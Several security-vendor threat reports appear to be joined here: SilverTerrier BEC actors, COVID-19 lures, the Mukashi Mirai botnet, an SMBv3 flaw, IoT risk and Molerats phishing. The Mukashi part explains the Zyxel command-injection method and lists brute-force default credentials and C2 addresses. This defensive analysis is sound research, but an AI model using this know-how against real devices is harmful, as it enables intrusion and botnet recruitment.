Close behind with 248K attacks, the professional and legal services industry advanced from being the fifth-most targeted industry in 2018 to the second-most targeted industry in 2019. Fueled by an alarming 1163% increase in attacks in 2019, this jump demonstrates a significant shift in targeting practices amongst SilverTerrier actors.
The manufacturing industry was third, with 145K attacks in 2019, up from 68K in 2018.
The education industry was fourth, with 143K attacks in 2019, up from 53K in 2018.
The wholesale and retail industry was fifth, observing 107K attacks in 2019, reflective of a marginal 15% increase from 2018.
Figure 2. Top five targeted industries
Taking a look at delivery vectors, we found that 97.8% of attacks leveraged email protocols to reach target networks, thus stressing the importance of employing and enabling security solutions capable of evaluating content entering corporate networks through these protocols.
At the top of the list, SMTP traffic accounted for 864K (69%) of attacks observed in 2019.
POP3 and IMAP accounted for 324K (26%) and 35K (2.8%) attacks, respectively.
It is also worth noting that the number of attacks witnessed in IMAP traffic dropped for the first time in 2019. We assess that this drop is likely due to customers shifting away from IMAP, as they modernize and adopt SMTP as an industry standard.
Beyond email, web browsing served as the fourth most common delivery vector in 2019 with 24K (1.9%) of attacks.
We only observed 3.6K (.3%) attacks delivered through FTP traffic.
Figure 3. Top five delivery applications
Malware
In years past, we have highlighted the ever-expanding ability of SilverTerrier actors to employ new technologies, tactics, and capabilities designed to advance their fraudulent schemes. Concurrently, the cybersecurity industry has historically characterized Nigerian malware actors as an emerging, rather than an established threat. As the analysis of this threat group turns five years old, we believe it is now pivotal to recognize that in many aspects, SilverTerrier actors have evolved to a point where they are demonstrating signs of maturity consistent with established threat groups in their delivery techniques, malware packaging, and technical abilities.
Over the course of 2019, our cloud-delivered WildFire® malware analysis service identified 27,310 samples of SilverTerrier malware. The vast majority of these samples were commodity malware tools, which employed a variety of obfuscation techniques designed to deceive traditional signature-based antivirus programs.
A comparison of these samples to VirusTotal revealed an average detection rate of 57.3% across all vendors at the time of discovery, demonstrating the effectiveness of obfuscation techniques against legacy antivirus platforms. A subsequent comparison conducted at the end of 2019 identified a greater proportion of samples available on the platform, but this increase, unfortunately, did not yield any notable improvements in detection rates across vendors. Counter-intuitively, the average rate actually decreased slightly to 57.1%, demonstrating that even with the benefit of time and prolonged exposure to the cybersecurity community, these samples remain undetected by over 40% of antivirus solutions.
By performing an analysis of the commodity malware tools themselves, we found that Nigerian threat actors continued to adopt new, and abandon old, capabilities consistent with tool popularity, effectiveness, detection rates, availability, and other market factors.
In tracking these trends, the following sections provide key insights designed to:
Inform network administrators of the top threats facing their networks;
Guide the cybersecurity industry in prioritizing detection and remediation capabilities; and
Enable law enforcement to focus on attribution and legal process against the most prevalent tools.
Information Stealers
Information stealers are tools designed with a core information-stealing component that most commonly captures screenshots, passwords, and other sensitive files on an infected system. Once captured, the malicious programs then package and transmit these stolen items via various protocols to internet infrastructure controlled by a malign actor.
Over the past five years, we have tracked the use of 10 different commodity information stealer families by SilverTerrier actors. Over time, as new tools emerge on the market, the older, less effective tools have faded in popularity.
Conversely, there are five tools that still remain in active use with SilverTerrier actors: AgentTesla, AzoRult, Lokibot, Pony, and PredatorPain. Our analysis of these malware families found that Nigerian threat actors produced an average of 516 unique samples per month in 2019 (Figure 4). However, despite a steady flow of new samples each month, the usage of information stealers appears to have peaked in 2017, before entering a continued state of decline. While the root cause of this decline is hard to pinpoint, we assess that the lack of new tools entering the market, advancements in the cybersecurity landscape, increased law enforcement actions, routine exposure of control infrastructure, and a shift toward RATs by these actors are all contributing factors.
Figure 4. Information stealer samples 2014-2019
Amongst the five active tools in this category, we found that SilverTerrier actors only produced three tools in quantities greater than 50 samples per month. Consistent with 2018, LokiBot was the most popular tool in 2019, with an average of 291 new samples per month. However, this average was inflated largely by an anomalous, single month high of 1240 samples in May 2019. Pony, also known as Fareit, was second with an average of 146 samples per month, but production largely declined throughout the year. Finally, we observed a small uptick in the adoption of AzoRult in 2019, resulting in an average of 55 samples per month throughout the year.
Figure 5. Most popular Information Stealers 2019
On the other end of the spectrum, PredatorPain, a tool that has received multiple updates over the years, continues to decline from its peak usage in 2016 with actors producing an average of only 17 samples per month in 2019. Additionally, AgentTesla, a small .NET keylogger, has also declined since its peak usage in 2017, with actors now producing an average of less than four new samples per month in 2019.
Figure 6. Least popular Information Stealers 2019
Remote Administration Tools
RATs are programs designed to provide remote access to compromised systems. These tools expand beyond the basic capture of sensitive files inherent with information stealers, and typically allow their users to interact directly with victim machines. To that end, these tools are often more complex than information stealers in terms of code and infrastructure requirements. Leveraging these tools, Nigerian threat actors can modify systems, access network resources, and perform common functions on behalf of compromised users. Over the past five years, we have tracked SilverTerrier use of 13 different RAT families. Similar to other types of commodity malware, these tools rise and fall in popularity, and over the course of 2019, our data shows that usage of LuminosityLink, NJRat, Quasar, and WarZone RATs have all dropped to negligible levels.
The nine RATs that remain in varying degrees of active use are: Netwire, DarkComet, NanoCore, Remcos, ImminentMonitor, Adwind, Hworm, Revenge, and WSHRat. Combined, SilverTerrier actors produced an average of 609 samples per month in 2019, representing an impressive 140% growth in production from 2018 (Figure 7). This growth represents the first time that the production and employment of RATs has exceeded the sample rate for information stealers over the five years that we have tracked this threat group. We assess that this shift is largely indicative of growing technical abilities, combined with the effectiveness of these tools in enabling fraudulent schemes. Further, we anticipate that this growth trend will continue throughout 2020, as we see increasing numbers of actors adopting these tools.
The most popular RATs have narrowed in 2019. In 2018, there were six tools that exceeded averages of 50 samples per month, while in 2019 that number dropped to just two. The most popular was NanoCore, with an average of 384 samples per month, signaling a 520% increase. This result remains particularly fascinating because the tool developer was arrested in 2017. Yet, despite his initial incarceration, a “cracked” version of the tool remains freely available, and given its effectiveness, it has become the “tool du jour”. The second most popular tool in 2019 was Netwire in which we observed an average of 64 samples per month. While SilverTerrier actors have used this tool since 2014, it remains popular due to a small, but loyal, following of actors.
Figure 8. Most popular Remote Administration Tools 2019
In contrast, we found seven RATs in active use with stalled adoption and minimal deployment throughout 2019. Of the seven, Remcos, first seen in 2016, and DarkComet, first seen in 2014, stood out as the only two to maintain relatively stable sample rates. The average sample rate for Remcos was 42 samples per month, while DarkComet’s was 24 samples per month.
Conversely, usage of Adwind, Revenge, and ImminentMonitor all declined over the course of the year, with sample rates of 36, 6, and 5 samples per month, respectively. Of note, Palo Alto Networks also identified the developers behind Adwind and ImminentMonitor, and collaborated with international law enforcement to subsequently dismantle global ImminentMonitor infrastructure.
Finally, the connection between HWorm and WSHRat is noteworthy. The code for HWorm, originally released in 2013, has been repackaged with several tools over the years. However, while SilverTerrier usage was first observed in March 2018, HWorm usage was brief. The tool peaked in November 2018 before declining through April 2019, with an average of only 12 samples per month. Coincidently, samples of WSHRat, which we assess to be a Nigerian variant of HWorm, began to appear that same month (April 2019), and continued throughout the year resulting in an average of 33 samples per month.
Figure 9 Least popular Remote Administration Tools 2019
Attribution
In 2014, Unit 42 published its first research identifying a small group of Nigerian threat actors employing malware for financial gain. Over the past five years, the number of actors involved in this activity has grown substantially. As of this publication, we have attributed attacks to more than 480 Nigerian threat actors and groups. Combined, these actors have registered more than 23,300 fraudulent and malicious domains. Many of these domains have directly supported command and control (C2) activities for the roughly 81,300 samples of malware associated with 2.1 million attacks against our customer base.
Focusing on the actors themselves, we have found that corporate network security teams traditionally tend to explain threats to their respective organizations in terms of capabilities and vulnerabilities, while often discounting the perpetrating actors as elusive, amorphous, and faceless adversaries. This habit forms naturally due to the plethora of difficulties associated with attributing APT level and ransomware activities to specific individuals with unique motivations. However, in the world of cybercrime, attribution is often easier to achieve and as such, details about SilverTerrier attackers are within grasp. Thus, in seeking to enable network defenders and more importantly, their corporate employees, to better understand and defend against this threat, we believe there is value in providing a deep dive into a profile of a typical SilverTerrier actor. Additionally, we provide a description of the first Nigerian commodity tool developer in order to better illuminate the fundamental human nature and motivations of this threat.
Malware Actor
Actor X is an actual person and is one of the more active SilverTerrier actors that we track. He holds an undergraduate degree from the Federal University of Technology in Owerri (FUTO). Following graduation, he completed a year of national service with the National Youth Service Corps in Nigeria. Now in his early 40’s, he is married and the proud parent of three children. Together, they live in Owerri, Nigeria, where he appears to be active in the community and presents himself as a legitimate businessman, providing technical services. Additionally, like many threat actors, he maintains accounts on Facebook and Skype, in which his contacts include friends, family, other malware actors, local law enforcement, and prominent figures from his community.
In terms of online activity, Actor X has registered more than 480 domains for the purpose of supporting other threat actors, as well as his own fraudulent activities. In order to register these domains, he has built over 90 email accounts with common email providers such as Microsoft, Yahoo, and Google. While these accounts all follow a pattern of using an alias or nickname followed by a number, his platform diversification strategy guarantees a degree of redundancy should one of the providers take action to close these accounts.
Finally, as it applies to his illicit activity, this single threat actor has produced more than 4,000 samples of malware. These samples are associated with 15 different malware families that he has experimented with over time, as his skills have improved from novice to advanced. Combined, we have observed these samples in over 363K mostly automated attacks against our customers. In doing so, we assess that his attack technique is largely indiscriminate, as he has targeted over 2,600 customers including 93 local, state, and federal government entities across 31 states.
Combining all of these characteristics empowers a refined understanding of the threat targeting our customers. Specifically, the adversary is a person (not a vulnerability or piece of software) who has a technical college education, has put in the time to develop a web of online aliases required for his campaigns, and is following a strategy of deploying malware indiscriminately, and at scale, with the motivation of generating the income necessary to support his family.
Tool Developer
In January 2018, an unknown developer began advertising a new tool called “FUD Crypt” on the popular hacking website HackForums[.]net. Priced at $65 a month, the developer also posted a tutorial on YouTube, demonstrating how to use his new cryptor to make RATs, keyloggers, and other malware files undetectable to antivirus solutions. Eleven months later, in December 2018, a second tool called “Unknown Crypter” hit the market in a similar fashion with similar capabilities. Priced at $20 a week, this tool also came with a YouTube tutorial. Common amongst both tutorials was the fact that the developer took the time to provide credit to the source of the royalty-free music used in each video.
Figure 10. UnknownCrypter Advertisement
Following the release of both of these tools, in April 2019, we saw a new variant of HWorm RAT hit the market in VBScript and JavaScript languages packaged as “WSHRat”. Priced at $24 a month, this tool once again came with its very own YouTube tutorial that, like the previous two, provided credit for its music.
So beyond citing music sources in the video tutorials, what do these three tools have in common? Beginning in January 2019, an independent researcher set out to answer that question. Over a series of five blogs, the researcher documented his findings which link all three of these tools to the same developer. Taking that analysis one step further and expanding beyond the commonalities of the code to the attribution of the developer, Unit 42 found that the FudCrypt[.]com website contained Nigerian registration details. Additionally, the email address used for the domain registration also resolved to a Skype account belonging to a Nigerian individual.
Looking into UnknownCrypter, we found two items of interest on the desktop of the tutorial video. The first was a folder that contained the same name as the aforementioned Skype account, while the second was a file named “Fudcrypt edited.zip.” Meanwhile, on the Skype account referenced in the UnknownCrypter advertisements, we discovered that the same Gmail account linked both the Unknown Software and WSH Software accounts. Pivoting on this email address further revealed four dynamic DNS domains that were all registered using a Nigerian IP address to support WSHRat infrastructure.
Figure 11. Linking unknown software and WSH software accounts
In taking a deeper look at WSHRat, we found that the sales website WSHSoftware[.]site contained the same Nigerian registration address, phone number, and email address as FudCrypt[.]com. Pivoting further off of the email address led to a Facebook profile of a college-educated individual in his mid-30’s who serves as both the co-founder and CEO of two software companies. Furthermore, in January 2019, this individual just happened to be advertising for assistance on a Java development project at a time when the Java-based UnknownCrypter was being sold, and WSHRat was likely under development.
Figure 12. Developer advertising for assistance
We find the implications of this development to be significant in that they speak directly to the evolution and maturity of the SilverTerrier threat. While 2014 may mark the first documented case of Nigerians using malware for financial gain, this attribution demonstrates that it has taken less than five years for the threat to evolve from “script kiddie” status, to commodity malware cybercriminals, to developers of their own native capabilities with the ability to market and sell their tools globally. Regardless of the effectiveness of these tools, one should regard this development activity to be a significant and alarming step forward for a threat group that consistently launches BEC campaigns with a sense of impunity.
Empowering Law Enforcement
Over the past few years, Palo Alto Networks has launched several initiatives to combat this ongoing threat. We’ve actively worked to support domestic and international law enforcement in their efforts to curb SilverTerrier, as well as combat broader BEC activity and malicious tool usage on behalf of our customers.
Highlights include:
June 2018 - The United States Department of Justice (DOJ) announced Operation WireWire, in which 74 individuals globally, including 29 Nigerians, were arrested for their involvement in BEC schemes.
October 2018 - The United States DOJ sentenced the developer of LuminosityLink RAT to 30 months in prison for computer intrusion crimes.
September 2019 - Unit 42 traced the development of Adwind RAT to an individual in Mexico. Additionally, the United States DOJ announced Operation ReWired, in which 281 individuals globally, including 167 Nigerians, were arrested for their involvement in BEC schemes.
November 2019 - The Australian Federal Police (AFP), with international activity coordinated by Europol, arrested the developer as well as the most prolific users of ImminentMonitor RAT.
December 2019 - The Canadian Radio-television and Telecommunications Commission (CRTC) issued $115,000 in fines to the developers of Orcus RAT.
Conclusion
As 2020 progresses, the most prominent threat facing customers is commodity malware deployed in support of sophisticated BEC schemes. With the emergence of the first Nigerian commodity tool developer, growing adoption of RATs amongst SilverTerrier actors, and an observed 172% increase in attacks in 2019, this threat shows no signs of slowing down. As a result, we strongly encourage network defense teams across all industry verticals to take note of these trends and ensure staff receive the training necessary to identify and eradicate the most popular tools employed by this threat group.
Additionally, while our analysts and engineers remain actively engaged in tracking and developing novel countermeasures to protect against this threat, Palo Alto Networks customers benefit from the following:
Cortex XDR protects endpoints from all malware, exploits and fileless attacks associated with SilverTerrier actors.
WildFire® cloud-based threat analysis service accurately identifies samples associated with these malware families.
Threat Prevention provides protection against the known client and server-side vulnerability exploits, malware, and command and control infrastructure used by these actors.
URL Filtering identifies all phishing and malware domains associated with these actors and proactively flags new infrastructure associated with these actors before it is weaponized.
Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the following tags:
A complete list of the malware domains associated with SilverTerrier actors is available on GitHub.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
When people ask me what Unit 42 does, the most concise answer I can normally give is “we research bad guys doing bad things.” With the onset of the COVID-19 pandemic spreading around the world, many of us have had to adapt our lives to accommodate the new reality. Bad guys are no different. They’ve also adapted and are taking advantage of this pandemic to launch cyber attacks.
The biggest opportunity for cyber attackers with this outbreak has nothing to do with technology, but with how humans change their behavior and patterns in response to the crisis.
The purpose of this report is not to contribute to the fear and anxiety many of us are already experiencing, but to help you be informed about what is happening and how to protect yourself and your organization. We will update this blog as new information comes to light.
Phishing/Malware Distribution using COVID-19 Themes
As with other high-profile events, attackers are taking advantage of the high amount of attention paid to COVID-19 to lure victims into opening attachments on malicious emails and click on phishing links. This is not a single attack or event campaign, but a widespread use of virus related themes. We’ve identified malicious emails using subjects containing COVID-19 and related keywords carrying Remote Administration Tools (RATs) like NetWire, NanoCore, and LokiBot.
Example email subjects include:
CORONAVIRUS (COVID-19) UPDATE // BUSINESS CONTINUITY PLAN ANNOUNCEMENT STARTING MARCH 2020.
Latest corona-virus updates
UNICEF COVID-19 TIPS APP
POEA HEALTH ADVISORY re-2020 Novel Corona Virus.
WARNING! CORONA VIRUS
Example file attachment names include:
AWARENESS NOTICE ON CORONAVIRUS COVID-19 DOCUMENT_pdf.exe
Coronavirus COVID-19 upadte.xlsx
CORONA VIRUS1.uue
CORONA VIRUS AFFECTED CREW AND VESSEL.xlsm
covid19.ZIP
Neither of these lists is exhaustive and new variants on these themes will quickly emerge.
We’ve also identified malicious emails using subjects containing COVID-19 and related keywords to deliver ransomware (e.g. EDA2) and info stealer malware (e.g. AgentTesla) in attacks across various industries. Target industries include, but are not limited to, government healthcare organization, medical research universities, industrial manufacturing firms, and research institutes.
Corporate advisory CoronaVirus (Covid-19)/Corporate advisory Co
Expect these attacks to continue in the coming weeks and months. As the news evolves, the attackers will adapt. We simultaneously see the same attacks using common themes related to tax filing, invoices, and shipping orders.
Fake Applications
As people seek out information about COVID-19, how it is impacting them, and how they can stay safe, many are looking to their smartphone for help. There have already been multiple cases reported of malicious Android applications that claim to offer information about the virus. These allow the attacker to spy on you through your devices, or encrypt your device and hold it for ransom.
As always, Android users should not install applications from untrusted sources (stick to the Google Play store) and iPhone users should not jailbreak their phones and install apps from third-party sources (stick to the App Store).
COVID-19 Themed Domain Names
In the past few weeks, thousands (in fact over 100,000) of domains have been registered containing terms like “covid,” “virus”, and “corona.”
We’ve identified 116,357 newly registered domains with coronavirus-related names between January 1 and March 31. Out of these, 2,022 are classified as “malicious” and more than 40,000 are considered “high-risk”. Additionally, from February 1 to March 31, we witnessed a 569% growth in malicious domain registrations, preying on consumers with some of the following tactics:
Fake webshops: Scam websites that offered high-demand items like face masks or hand sanitizers for a discounted price.
Credit card skimmers: Scripts on other malicious stores that sell pandemic-relevant goods to steal credit card information.
Fake ebooks: Domains set up to prey into consumer fear and coerce them into buying COVID-19 ebooks by playing a video about the scariest situations and events related to the pandemic.
Illicit pharmacies: Unlicensed and leverage compromised websites that use domain names suggesting they sell remedies for COVID-19 when they actually advertise Viagra and other drugs unrelated to the virus.
Not all newly registered coronavirus-related domains will be malicious, but all of them should be treated as suspect. Whether they claim to have information, a testing kit, or a cure, the fact that the website didn’t exist until the pandemic became news should make you very skeptical of their validity.
Ransomware
Between March 24, 2020 at 18:25 UTC and March 26 at 11:54 UTC, Unit 42 observed several malicious emails sent from the spoofed address noreply@who[.]int (actual sender IP address at the time of the attack was 176.223.133[.]91) to several individuals associated with a Canadian government health organization actively engaged in COVID-19 response efforts, and a Canadian university conducting COVID-19 research. The emails all contained a malicious Rich Text Format (RTF) phishing lure with the file name 20200323-sitrep-63-covid-19.doc, (SHA256: 62d38f19e67013ce7b2a84cb17362c77e2f13134ee3f8743cbadde818483e617). When opened with a vulnerable application, it attempts to deliver EDA2, an open-source ransomware variant associated with a larger, parent ransomware family called HiddenTear. This ransomware payload, when opened with a vulnerable application, attempts to deliver the ransomware payload using a known shared Microsoft component vulnerability, CVE-2012-0158.
Infostealers
Malspam actors are also taking advantage of the ongoing COVID-19 pandemic crisis, as we found malware droppers distributed to a number of our customers within the healthcare, pharmaceutical and government industries (among others). These phishing emails attempted to deliver variants of the AgentTesla malware family, which is an info-stealing malware that’s been around since 2014.
Attackers were also found hosting a RedLine Stealer sample at the URL covid-19-gov[.]com within a ZIP file. When the contents of the ZIP file are extracted, the RedLine Stealer binary was revealed to have the filename Covid-Locator.exe.
How We’re Protecting You
In general, the best practices we recommend are still the right way to keep your organization and your network protected from these threats. Our products and services are just as capable at preventing threats using COVID-19 related themes as they are for other messages that track users into clicking links and opening attachments. Consider taking the following actions to ensure you are taking advantage of our protection:
Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
Use URL Filtering to block the “Newly-Registered Domains”, which contains domains registered in the last 32 days. While these may not all be malicious, it could prevent your users from succumbing to scams.
This post was last updated on April 27 to reflect the latest campaigns and scams that Unit 42 researchers have detected and stopped. We will continue updating this blog as new information related to this threat comes to light.
To see how Palo Alto Networks can protect against threats during your remote operations, visit our Secure Remote Workforce page for resources and product solutions.
As soon as the proof-of-concept (PoC) for CVE-2020-9054 was made publicly available last month, this vulnerability was promptly abused to infect vulnerable versions of Zyxel network-attached storage (NAS) devices with a new Mirai variant - Mukashi.
Mukashi brute forces the logins using different combinations of default credentials, while informing its command and control (C2) server of the successful login attempts. Multiple, if not all, Zyxel NAS products running firmware versions up to 5.21 are vulnerable to this pre-authentication command injection vulnerability. The vendor advisory is also available.
You can test to see if a Zyxel NAS device is vulnerable here.
This vulnerability has a critical rating (i.e CVSS v3.1 score of 9.8) due to its trivial-to-exploit nature. It’s not surprising that the threat actors weaponize this vulnerability and start wreaking havoc in the Internet of Things (IoT) realm. It was initially discovered via the sale of its exploit code as a 0-day i.e. while it was still unreported to the vendor. This initial discovery also mentioned “the exploit is now being used by a group of bad guys who are seeking to fold the exploit into Emotet”.
This blog includes a walkthrough of the entire killchain, including images and IoCs.
Vulnerability Analysis
The executable weblogin.cgi doesn’t properly sanitize the username parameter during authentication. The attacker can use a single quote ‘ to close the string and a semicolon ; to concat arbitrary commands to achieve command injection. Since weblogin.cgi accepts both HTTP GET and POST requests, the attacker can embed the malicious payload in one of these HTTP requests and gain code execution.
Exploit in the Wild
The first incident happened at 19:07 (UTC) on March 12, 2020 and was caught on our Next-Generation Firewall. As shown in Figure 1 and 2 below, this threat actor attempted to download a shell script to the tmp directory, execute the downloaded script, and remove the evidence on a vulnerable device.
Figure 1. Exploit request spotted in the wild
Upon execution, the zi script downloads different architectures of Mirai bot, runs the downloaded binaries, and removes the binaries. All these binaries were not available on VirusTotal at the time of discovery -- 4 out of 8 are in VirusTotal at the time of writing.
Figure 2. Shell script that downloads and launches the bots
New Mirai Variant - Mukashi
Mukashi is a bot that scans the TCP port 23 of random hosts, brute forces the logins using different combinations of default credentials, and reports the successful login attempt to its C2 server. Like other Mirai variants, Mukashi is also capable of receiving C2 commands and launching DDoS attacks.
When it’s executed, Mukashi prints the message “Protecting your device from further infections.” to the console. The malware then proceeds to change its process name to dvrhelper, suggesting Mukashi may inherit certain traits from its predecessor.
Prior to carrying out its intended operation, Mukashi binds to the TCP port 23448 in order to ensure only a single instance is running on the infected system.
The malware decodes a couple of strings on the fly during its initialization. These decoded strings, as shown in the following table, include credentials as well as C2 commands. Unlike its predecessors that use conventional xor encryption, Mukashi uses a custom decryption routine to encrypt these commands and credentials. A decryption script is provided in the appendix.
/cmdline
.udprand
.udpbypass
.udphex
user
tsgoingon
/proc/
.udpplain
.tcpbypass
default
daemon
zlxx.
/status
.http
.tcp
admin
juantech
Zte521
/maps
/exe
killallbots
root
123456
hunt5759
/proc/self/cmdline
None
./
guest
solokey
samsung
self
POST
killer
dvr2580222
xc3511
vizxv
ping
GET
scanner
support
12345
.udp
/
world
guest
xmhdipc
Table 1. Decoded credentials and commands
When the malware performs credential brute-force attacks, Mukashi uses well known default passwords like t0talc0ntr0l4! and taZz@23495859, in addition to the decoded credentials that it has decoded before the scanning phase. Figure 3, below, shows the initiation traffic captured when Mukashi was scanning the random hosts, and Figure 4 shows the malware’s attempt to brute-force authentication.
Figure 3. Scanning TCP port 23 of random hostsFigure 4. Brute forcing
Upon successful login attempt, Mukashi reports the working combination of the credentials to its C2 server 45[.]84[.]196[.]75 on TCP port 34834.
The message has the following format - <host ip addr>:23 <username>:<password>. The following figure shows an example of such a message.
Figure 5. Reporting successful login attempt
Once the malware is up and initialized, it sends a beacon back to its C2 server 45[.]84[.]196[.]75 listening on TCP port 4864, notifying its C2 server that it’s ready for command. An example of the beacon is shown in Figure 6 below. The beacon has the following format: <name>.<input argument>. The <name> substring depends on the return value of a socket creation; if the socket is successfully created, then <name> is root, else it’s default. The <input argument> substring is the input argument passed to the binary when it’s being executed. If no input argument is provided, the beacon string would be None.
Figure 6. C2 beacon from the x86 bot
Mirai’s and its variants’ DDoS attack mechanics (e.g UDP, TCP, UDP bypass, and TCP bypass) have already been analyzed in-depth, and Mukashi’s DDoS capabilities are no different from these variants. The presence of DDoS defense bypass confirms our speculation from earlier that Mukashi includes certain capabilities from the dvrhelper variant -- Mukashi also possesses the anti-DDoS-defense capabilities. The following table shows the C2 commands that Mukashi supports.
PING
scanner
.udpplain
.tcp
killallbots
.udp
.udpbypass
.tcpbypass
killer
.udprand
.udphex
.http
Table 2. C2 commands
The attack_parsing() function is responsible for processing C2 command strings that Mukashi receives from its C2 server. In addition to the type of command and target address, the C2 command strings include relevant information like SYN flag, ACK flag, URG flag, PSH flag, Rst flag, time field, destination port value, and length value that Mukashi needs to construct the packet header. If destination port value is not available, Mukashi chooses a random port. And if the length of the packet is not specified, Mukashi uses the default value 1458.
Even though there are numerous Mukashi binaries compiled for different architectures, they are pretty much the same capabilities-wise -- except that the x86 version doesn’t have the cleaner() function that allows it to kill processes by process command line, specific strings, and permissions. The following figures show how the x86 version is different from the arm7 version.
Figure 7. main routine (arm7)Figure 8. main routine (x86)
The table below includes hashes for samples of the same variant, hosted at the same IP, however we are missing evidence of whether they were distributed by exploitation of CVE-2020-9054 or not.
In March 2020 Microsoft released a security advisory, ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression, for a new remote code execution (RCE) vulnerability. Shortly after this advisory was released, Microsoft issued an out-of-band patch to protect affected users from CVE-2020-0796. An out-of-band patch is typically released outside of the expected update period for a vendor. In this particular case, Microsoft is known to release updates on Patch Tuesday, which was two days prior to this out-of-band update.
This vulnerability exists within the Microsoft Server Message Block 3.0 (SMBv3), specifically regarding malformed compression headers. Compression headers are a feature that was added to SMBv3 negotiate context request packets in May 2019. For successful unauthenticated exploitation an attacker would need to craft a SMBv3 packet that contains the malformed compression header to a vulnerable SMBv3 Server. For SMBv3 clients would require enticing a user to connect to a compromised SMBv3 server that they control. At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).
This vulnerability only affects SMBv3 and the following builds of the Microsoft Windows operating system (OS):
Windows 10 build 1903 and 1909 - 32-bit, x64 and ARM64 systems
Windows Server build 1903 and 1909 - 32-bit, x64 and ARM64 systems
Mitigation Actions
Review the workaround guidance provided by the Microsoft Security Vulnerability. As always, we recommend our customers patch their systems as soon as possible. Upgrade Cortex XDR and Traps agents for protection against this vulnerability regardless of whether your systems have installed the relevant security update from Microsoft. For client mitigation, recommend creating an outbound firewall rule to block SMB outbound on public and private interfaces.
Conclusion
Palo Alto Networks Cortex XDR and Traps provide protection against this vulnerability regardless of whether they are running on an unpatched instance of Microsoft Windows 10. Additionally, Palo Alto Networks offers multiple, additional complementary protections for this exploit.
Cortex XDR and Traps can:
Stop the vulnerability exploit on unpatched Windows 10 systems. To gain protection, customers should ensure they are running the latest agent versions, specifically XDR agent 7.0.1 or later and Traps agent 6.1.5 or later.
To mitigate this vulnerability the latest XDR and Traps agents will deploy the following methods of protection
Per the recommendation from Microsoft, the agent will disable SMBv3 compression through the OS registry.
Prevents exploit attempts by monitoring for malicious network packets that leverage this SMB exploit technique. The admin will be able to review the relevant Behavioral Threat Protection (BTP) alert which will be triggered by a BTP rule named "bioc.cve_2020_0796".
WildFire can stop the exploit with static signature detections.
Next-Generation Firewalls will automatically stop sessions when this vulnerability is detected via the Palo Alto Networks IPS security solution, relevant Threat IDs are: 57778 and 57775.
As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage. As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
To understand the full scope of the current IoT threat landscape, we analyzed 1.2 million IoT devices in thousands of physical locations across enterprise IT and healthcare organizations in the United States in 2018 and 2019. Using the Palo Alto Networks’ IoT security product, Zingbox, we created the 2020 Unit 42 IoT Threat Report to identify the top IoT threats and provide recommendations that organizations can take to immediately reduce IoT risk in their environments.
Most notably, the report reveals that 83% of medical imaging devices are running on unsupported operating systems. This reflects a 56% jump from 2018 due to the Windows 7 operating system reaching its end of life, leaving hospital organizations vulnerable to attacks that can disrupt care or expose sensitive medical information.
Figure 1: Breakdown of OS support for medical imaging devices
Key Findings
Emerging Trends
High-profile, IoT-focused cyberattacks are forcing industries to recognize and manage the risks associated with deploying IoT devices to protect their core business operations. Industries, such as healthcare, are exposed to an incredibly unexpected amount of risk. Unfortunately, some IoT vulnerabilities can be life-threatening, while some attack critical enterprise functions or exfiltrate confidential data. While conducting this research, these are some of the emerging trends we discovered that organizations need to be aware of.
98% of all IoT device traffic is unencrypted, exposing personal and confidential data on the network and allowing attackers the ability to listen to unencrypted network traffic, collect personal or confidential information, then exploit that data for profit on the dark web.
51% of threats for healthcare organizations involve imaging devices, disrupting the quality of care and allowing attackers to exfiltrate patient data stored on these devices.
72% of healthcare VLANs mix IoT and IT assets, allowing malware to spread from users’ computers to vulnerable IoT devices on the same network.
Top IoT Threats
Threats continue to evolve to target IoT devices using new sophisticated and evasive techniques, such as peer-to-peer command and control communications and worm-like features for self-propagation. Coupled with a weak device and network security posture, attackers have ample opportunity to compromise IoT systems.
57% of IoT devices are vulnerable to medium- or high-severity attacks, making IoT the low-hanging fruit for attackers.
41% of attacks exploit device vulnerabilities, as IT-borne attacks scan through network-connected devices in an attempt to exploit known weaknesses.
We found that, while the vulnerability of IoT devices make them easy targets, they are most often used as a stepping stone for lateral movement to attack other systems on the network. Furthermore, we found password-related attacks continue to be prevalent on IoT devices due to weak manufacturer-set passwords and poor password security practices. However, with California’s SB-327 IoT law taking effect on January 1, 2020, prohibiting the use of default credentials, we expect this trend to change direction.
We’re also witnessing a shift away from attackers’ primary motivation of running botnets to conduct DDoS attacks via IoT devices to malware spreading across the network via worm-like features, enabling attackers to run malicious code to conduct a large variety of new attacks.
Figure 2: Breakdown of top IoT threats
Steps to Reduce IoT Exposure
According to a 2019 report by Gartner, “By the end of 2019, 4.8 billion [IoT] endpoints are expected to be in use, up 21.5% from 2018.” With such a significant increase in adoption that shows no signs of slowing down, organizations need to be prepared with a strong IoT security strategy. Our report shows there are a myriad of ways enterprises are being left vulnerable to security threats, which can easily lead to some very dire circumstances if exploited.
There are steps that can be taken immediately, however, to reduce exposure to IoT threats:
Know your risk. Discover IoT devices on the network.
Patch printers and other easily patchable devices.
Between October 2019 through the beginning of December 2019, Unit 42 observed multiple instances of phishing attacks likely related to a threat group known as Molerats (AKA Gaza Hackers Team and Gaza Cybergang) targeting eight organizations in six different countries in the government, telecommunications, insurance and retail industries, of which the latter two were quite peculiar. The targeting of insurance and retail organizations is peculiar as it does not fit with this threat groups prior target set. The email subject and attachment file names used in the attacks on these seemingly atypical targets were similar in theme as those used when attacking government organizations. The lack of industry or target specific social engineering themes likely lowers the chances of a successful compromise and further confuses our understanding of the purpose of attacking these organizations.
All of the attacks involved spear-phishing emails to deliver malicious documents that required the recipient to carry out some action. The social engineering techniques included lure images attempting to trick the user into enabling content to run a macro and even document contents that threaten to release compromising pictures to the media to coerce the user into clicking a link to download a malicious payload. The payload in a majority of these attacks was a backdoor called Spark, which is a backdoor that allows the threat actors to open applications and run command line commands on the compromised system.
